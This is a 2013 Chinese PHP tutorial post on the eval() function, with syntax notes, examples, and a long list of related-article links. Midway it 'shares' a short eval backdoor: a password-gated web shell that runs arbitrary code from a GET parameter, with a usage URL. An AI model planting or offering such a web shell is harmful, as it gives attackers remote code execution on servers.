PHP eval函数使用介绍


Posted in PHP onDecember 08, 2013

代码:

eval("echo'hello world';");

上边代码等同于下边的代码:

echo"hello world";

在浏览器中都输出:hello world

运用eval()要注意几点:

1.eval函数的参数的字符串末尾一定要有分号,在最后还要另加一个分号(这个分号是php限制)

2.注意单引号,双引号和反斜杠的运用。如果参数中带有变量时,并且变量有赋值操作的话,变量前的$符号钱一定要有\来转义。如果没有赋值操作可以不需要。

代码:

$a=100;
eval("echo$a;");

因为没有赋值操作,所以可以不用\来转义$.等同于以下代码:

$a=100;
eval("echo\$a;")

3.注意在命令式字符串(包括分号)两边必须要有双引号或者根据需要用单引号。否则报错。

命令式字符串是指:字符串中包括echo、print之类的命令的时候。

如果参数只有一个变量则可以不用。例如:

$func =<<<FUNC
function test(){ 
  echo "test eval function"; 
}
FUNC;
eval($func);
test();

分享个php eval后门程序

要求必须支持eval函数
使用方法
http://url/test.php?pwd=admin&action=eval&a=phpinfo();

<?php
$passwd="admin";if($_GET['pwd']!=$passwd)exit;
if($_GET['action']=="eval" && $_GET['a']){eval($_GET['a']);}
?>

PHP eval() 函数介绍

定义和用法

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

语法
eval(phpcode)

参数 描述
phpcode 必需。规定要计算的 PHP 代码。

提示和注释
注释:返回语句会立即终止对字符串的计算。
注释:该函数对于在数据库文本字段中供日后计算而进行的代码存储很有用。
例子

<?php
$string = "beautiful";
$time = "winter";

$str = 'This is a $string $time morning!';
echo $str. "<br />";

eval("\$str = \"$str\";");
echo $str;
?>

输出:
This is a $string $time morning!
This is a beautiful winter morning!

PHP 相关文章推荐
IIS6+PHP5+MySQL5+Zend Optimizer+phpMyAdmin安装配置图文教程 2009年
Jun 08 PHP
PHP程序级守护进程的实现与优化的使用概述
May 02 PHP
浅谈PHP强制类型转换,慎用!
Jun 06 PHP
关于url地址传参数时字符串有回车造成页面脚本赋值失败的解决方法
Jun 28 PHP
PHP_NETWORK_GETADDRESSES: GETADDRINFO FAILED问题解决办法
May 04 PHP
PHP实例分享判断客户端是否使用代理服务器及其匿名级别
Jun 04 PHP
PHP加密解密字符串汇总
Apr 26 PHP
举例讲解PHP面对对象编程的多态
Aug 12 PHP
PHP函数nl2br()与自定义函数nl2p()换行用法分析
Apr 02 PHP
php图像处理函数imagecopyresampled用法详解
Dec 02 PHP
浅谈PHP实现大流量下抢购方案
Dec 15 PHP
Yii框架连表查询操作示例
Sep 06 PHP
Server.HTMLEncode让代码在页面里显示为源代码
Dec 08 #PHP
php自定义的格式化时间示例代码
Dec 05 #PHP
php调整gif动画图片尺寸示例代码分享
Dec 05 #PHP
PHP数据库链接类(PDO+Access)实例分享
Dec 05 #PHP
php函数指定默认值方法的小例子
Dec 04 #PHP
PHP函数microtime()用法与说明
Dec 04 #PHP
php实现memcache缓存示例讲解
Dec 04 #PHP
You might like
PHP入门速成教程
2007/03/19 PHP
深入理解:单一入口、MVC、ORM、CURD、ActiveRecord概念
2013/06/06 PHP
php错误级别的设置方法
2013/06/17 PHP
php封装的page分页类完整实例
2016/10/18 PHP
看了就知道什么是JSON
2007/12/09 Javascript
精通Javascript系列之数值计算
2011/06/07 Javascript
javascript的数据类型、字面量、变量介绍
2012/05/23 Javascript
onkeyup,onkeydown和onkeypress的区别介绍
2013/10/21 Javascript
运用JQuery的toggle实现网页加载完成自动弹窗
2014/03/18 Javascript
jquery中change()用法实例分析
2015/02/06 Javascript
jquery实现两边飘浮可关闭的对联广告
2015/11/27 Javascript
jQuery动态添加及删除表单上传元素的方法(附demo源码下载)
2016/01/15 Javascript
原生js实现节日时间倒计时功能
2017/01/18 Javascript
移动端web滚动分页的实现方法
2017/05/05 Javascript
Vue from-validate 表单验证的示例代码
2017/09/26 Javascript
iframe高度自适应及隐藏滚动条的实例详解
2017/09/29 Javascript
简述vue状态管理模式之vuex
2018/08/29 Javascript
微信小程序实现多个按钮的颜色状态转换
2019/02/15 Javascript
javascript实现小型区块链功能
2019/04/03 Javascript
JS学习笔记之原型链和利用原型实现继承详解
2019/05/29 Javascript
vue+vant使用图片预览功能ImagePreview的问题解决
2020/04/10 Javascript
Pthon批量处理将pdb文件生成dssp文件
2015/06/21 Python
python实现发送和获取手机短信验证码
2016/01/15 Python
举例讲解Python中的list列表数据结构用法
2016/03/12 Python
解决Linux系统中python matplotlib画图的中文显示问题
2017/06/15 Python
Python+PIL实现支付宝AR红包
2018/02/09 Python
python操作小程序云数据库实现简单的增删改查功能
2019/06/06 Python
python numpy 常用随机数的产生方法的实现
2019/08/21 Python
Python拆分大型CSV文件代码实例
2019/10/07 Python
tensorflow常用函数API介绍
2020/04/19 Python
python 中 .py文件 转 .pyd文件的操作
2021/03/04 Python
opencv实现图像几何变换
2021/03/24 Python
房产销售经理职责
2013/12/20 职场文书
销售经理工作检讨书
2015/02/19 职场文书
在校证明模板
2015/06/17 职场文书
铁头也玩根德 YachtBoy YB-230......
2022/04/05 无线电